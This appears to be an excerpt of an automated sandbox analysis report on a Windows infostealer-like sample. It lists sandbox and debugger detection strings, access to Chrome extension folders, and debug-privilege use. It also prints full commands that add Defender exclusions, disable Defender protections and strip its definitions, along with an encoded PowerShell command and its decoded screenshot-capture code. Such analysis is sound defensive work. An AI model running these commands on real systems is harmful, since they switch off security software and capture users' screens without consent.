Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\Desktop\cmd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vboxtrayZ
Source: getmac.exe, 00000031.00000002.1843041975.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF11C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vboxservice
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwareservicer4
Source: WMIC.exe, 0000001F.00000003.1806334380.000001E251AEA000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001F.00000003.1806502468.000001E251AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: qeMU)
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmwareuser
Source: getmac.exe, 00000031.00000003.1840629752.000001E8EF11C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: svchost.exe, 0000001C.00000002.2946017704.00000240CA658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2945962404.00000240CA641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2944570569.00000240C502B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1843041975.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmsrvc
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vboxserviceZ
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwareservicer4Z
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmwaretray
Source: cmd.exe, 00000001.00000003.2091061273.000001C916C6C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1934604967.000001C9172EB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1934604967.000001C917269000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: cmd.exe, 00000001.00000003.1716177022.000001C916988000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097860677.000001C916930000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmsrvcZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vboxtray
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: qemu-ga
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmware
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwareuserZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmusrvc
Source: getmac.exe, 00000031.00000002.1843041975.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWRoot%\system32\dy
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: qemu-gaZ
Source: getmac.exe, 00000031.00000003.1840990615.000001E8EF14F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1843041975.000001E8EF152000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExportD
Source: getmac.exe, 00000031.00000003.1840990615.000001E8EF14F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1843041975.000001E8EF152000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmusrvcZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmtoolsd
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwarec
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: vmwaretrayZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: vmwareservice
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF70AEFD19C
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF134F0 GetProcessHeap, 0_2_00007FF70AF134F0
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFD37C SetUnhandledExceptionFilter, 0_2_00007FF70AEFD37C
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF70AEFD19C
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEFC910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00007FF70AEFC910
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF0A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF70AF0A684
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A444C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 65_2_00007FF69A444C10
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A43B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 65_2_00007FF69A43B52C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A43A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 65_2_00007FF69A43A66C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A43B6D8 SetUnhandledExceptionFilter, 65_2_00007FF69A43B6D8

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr' Jump to behavior
Bypasses PowerShell execution policy
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Encrypted powershell cmdline option found
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Modifies Windows Defender protection settings
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
